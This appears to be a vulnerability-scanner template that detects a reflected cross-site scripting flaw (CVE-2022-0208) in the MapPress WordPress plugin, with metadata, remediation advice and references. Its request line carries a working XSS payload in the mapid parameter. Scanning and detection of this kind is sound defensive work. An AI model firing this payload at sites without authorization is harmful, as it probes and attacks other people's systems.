51 lines
1.7 KiB
YAML
51 lines
1.7 KiB
YAML
id: CVE-2022-0208
|
|
|
|
info:
|
|
name: WordPress Plugin MapPress <2.73.4 - Cross-Site Scripting
|
|
author: edoardottt
|
|
severity: medium
|
|
description: |
|
|
WordPress Plugin MapPress before version 2.73.4 does not sanitize and escape the 'mapid' parameter before outputting it back in the "Bad mapid" error message, leading to reflected cross-site scripting.
|
|
remediation: |
|
|
Update to the latest version of MapPress (2.73.4 or higher) or apply the vendor-provided patch to fix the XSS vulnerability.
|
|
reference:
|
|
- https://wpscan.com/vulnerability/59a2abd0-4aee-47aa-ad3a-865f624fa0fc
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-0208
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2022-0208
|
|
cwe-id: CWE-79
|
|
epss-score: 0.00106
|
|
epss-percentile: 0.42835
|
|
cpe: cpe:2.3:a:mappresspro:mappress:*:*:*:*:*:wordpress:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: mappresspro
|
|
product: mappress
|
|
framework: wordpress
|
|
tags: cve2022,mappress,xss,wordpress,wp-plugin,wpscan,cve
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/?mapp_iframe=1&mapid=--%3E%3Cimg%20src%20onerror=alert(document.domain)%3E"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- "text/html"
|
|
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- "<img src onerror=alert(document.domain)>"
|
|
- "Bad mapid"
|
|
condition: and
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
# digest: 4b0a00483046022100c922434b9276c167c6923d862cae70630e7223299be19ac2749d9ce8e43a60d8022100f15ef2ce0f59f55efdcaa86e8689c38ad3bdb2d336484f63d500d4f123001815:922c64590222798bb761d5b6d8e72950 |